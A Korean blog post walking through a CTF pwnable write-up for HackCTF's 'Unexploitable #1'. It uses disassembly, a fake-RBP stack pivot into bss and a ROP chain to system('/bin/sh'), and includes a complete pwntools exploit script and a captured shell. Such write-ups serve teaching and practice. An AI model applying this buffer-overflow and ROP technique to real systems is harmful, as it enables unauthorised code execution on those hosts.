본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] Unexploitable #1

시작

안녕하세요 :D

날씨가 추워지는 걸 보니 전역의 계절이 다가오는 것 같습니다 ㅎㅎ

휴가 때 LOB 끝내고 오랜만에 HackCTF 문제를 풀어봤어요.

원래 You_are_silver 문제를 풀고 있었는데.. 안풀려요… 답답해서 다음 문제로 넘어왔습니다.

시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/24.Unexploitable_1# ./Unexploitable_1
Easy RTL ha? You even have system@plt!
aaaa

system@plt까지 있으니 RTL 하라고 합니다.

표준 입력 하나 받고 종료돼요.

특별한 것은 없는 것 같으니 gdb로 확인해봅시다.

gdb-peda$ pd gift
Dump of assembler code for function gift:
   0x00000000004006c6 <+0>:     push   rbp
   0x00000000004006c7 <+1>:     mov    rbp,rsp
   0x00000000004006ca <+4>:     mov    edi,0x4007f8
   0x00000000004006cf <+9>:     mov    eax,0x0
   0x00000000004006d4 <+14>:    call   0x400560 <system@plt>
   0x00000000004006d9 <+19>:    nop
   0x00000000004006da <+20>:    pop    rbp
   0x00000000004006db <+21>:    ret
End of assembler dump.
gdb-peda$ x/s 0x4007f8
0x4007f8:       "use this system gadget :D"

gift 함수가 있길래 봤더니 system() 함수를 던져줘요. 근데 rdi에 /bin/sh가 아닌 문자열이 들어가있네요.

일단 짚고 넘어가겠습니다.

   0x0000000000400720 <+68>:    mov    rax,QWORD PTR [rip+0x200939]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400727 <+75>:    mov    rcx,rax
   0x000000000040072a <+78>:    mov    edx,0x27
   0x000000000040072f <+83>:    mov    esi,0x1
   0x0000000000400734 <+88>:    mov    edi,0x400818
   0x0000000000400739 <+93>:    call   0x4005b0 <fwrite@plt>
   0x000000000040073e <+98>:    mov    rax,QWORD PTR [rip+0x20092b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400745 <+105>:   mov    rdi,rax
   0x0000000000400748 <+108>:   call   0x400590 <fflush@plt>
   0x000000000040074d <+113>:   mov    rdx,QWORD PTR [rip+0x20091c]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400754 <+120>:   lea    rax,[rbp-0x10]
   0x0000000000400758 <+124>:   mov    esi,0x40
   0x000000000040075d <+129>:   mov    rdi,rax
   0x0000000000400760 <+132>:   call   0x400580 <fgets@plt>
   0x0000000000400765 <+137>:   mov    eax,0x0
   0x000000000040076a <+142>:   leave
   0x000000000040076b <+143>:   ret

main() 함수입니다. fwrite()로 위에서 본 문자열을 출력하고 fgets()로 입력받아요.

인자를 보면 rbp-0x10이 버퍼인데, size는 0x40을 줍니다. 16 + 8 (SFP) + RET 페이로드로 리턴을 조작할 수 있어요.

root@goorm:/workspace/LCH_Server/HackCTF/24.Unexploitable_1# ROPgadget --binary ./Unexploitable_1 --string "/bin/sh"
Strings information
============================================================

/bin/sh는 없습니다. 딱히 leak할 곳도 보이지 않으니 고정주소에 임마를 써줘야 할 것 같아요.

 


 

처음엔 csu로 돌려서 bss 영역에 /bin/sh 쓰고 system()을 호출하려 했지만 입력을 0x40 bytes밖에 받지 않기 때문에 불가능해요..

0x40, 64 bytes면 사실 굉장히 적기 때문에 고민을 많이 했습니다. Dummy만 24 bytes인데..

그러다가 떠올린 방법이, fake EBP를 살짝 응용해서 rbp, rsp를 bss와 같은 고정주소로 돌리는 것입니다.

SFP 영역에 bss 주소를 넣으면 leave ret을 거치면서 rbp에 bss가 들어가고

리턴을 다시 fgets()로 돌리면 rbp-0x10, 즉 bss-0x10 영역에 값을 쓰게 됩니다.

마찬가지로 leave ret에서 rsp가 rbp의 위치로 이동하고, 그 후 연산에 pop_rdi 가젯 + bss + system() 하면 되겠네요 ㅎㅎ

gdb-peda$ vmmap
.
0x00601000         0x00602000         rw-p
.

먼저 쓰기 권한이 있는 영역의 주소를 구했습니다. 여기가 새로운 스택이 될 거에요.

저는 SFP에 bss 영역인 0x601070을 쓰겠습니다.

   0x000000000040074d <+113>:   mov    rdx,QWORD PTR [rip+0x20091c]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400754 <+120>:   lea    rax,[rbp-0x10]
   0x0000000000400758 <+124>:   mov    esi,0x40
.
.

RET은 fgets()의 인자를 넣어주는 0x40074d로 돌리겠습니다.

저기 보이는 rbp-0x10이 결국 bss-0x10 = 0x601060 이 되는거에요.

여기까지 페이로드는 ‘Dummy (16) + p64(0x601070) (8) + p64(0x40074d) (8)’ 이 되겠습니다,

이제 fgets( 0x601060, 0x40, stdin ) 에 대한 페이로드를 줘야겠죠?

현재 rbp = 0x601070인 상태입니다. leave가 진행되면 mov rsp, rbp에 의해 rsp도 똑같이 0x601070이 될 거에요.

여기서 pop rbp를 지나면 rsp = 0x601078이 됩니다.

이후엔 아시다시피 pop rip, jmp rip이기 때문에 0x601078이 RET 영역이 됩니다.

때문에 fgets()로 입력을 줄 떄, /bin/sh\x00 (8) + Dummy (16) + RET 구조를 만들어야해요.

RET엔 pop rdi; ret; 가젯과 “/bin/sh”가 있는 0x601060, 그리고 gift() 함수에서 system()을 call하는 부분인 0x4006cf를 주겠습니다.

코드입니다.

from pwn import *

#context.log_level = "debug"

#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)

payload = ""

system = 0x4006cf
main_fgets = 0x40074d
pop_rdi = 0x4007d3
bss = 0x601060 + 0x900

p.recvuntil("!\n")

payload += "A" * 16
payload += p64(bss + 0x10)
payload += p64(main_fgets)

p.sendline(payload)

exploit = ""

exploit += "/bin/sh\x00"
exploit += "A" * 16
exploit += p64(pop_rdi)
exploit += p64(bss)
exploit += p64(system)

p.sendline(exploit)

p.interactive()

여기서!! bss 영역을 0x601060으로 하니깐 세그폴트가 계속 뜨더라구요.

찾아보니 system() 함수의 got를 구해오는 과정에서 _dl_runtime_resolve_xsavec 함수가 스택을 많이 잡아먹는다고 합니다.

때문에 큰 공간을 할당해주어야 한다고 해요. 그래서 0x601000 ~ 0x602000 사이의 공간을 주었습니다.

[+] Opening connection to ctf.j0n9hyun.xyz on port 3023: Done
[*] Switching to interactive mode
$ ls
flag
main
$ cat flag
//flag!!!

Exploit!!

마무리

왜 세그폴트가 뜨지.. 하면서 보낸 시간이 더 길었던 것 같아요 ㅋㅋㅋㅋㅋ

알다가도 모르겠는 포너블 세계입니다.

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] RTC  (0) 2019.10.12
[HackCTF] SysROP  (0) 2019.10.12
[HackCTF] UAF  (0) 2019.09.26
[HackCTF] Pwning  (0) 2019.09.26
[HackCTF] Gift  (0) 2019.09.23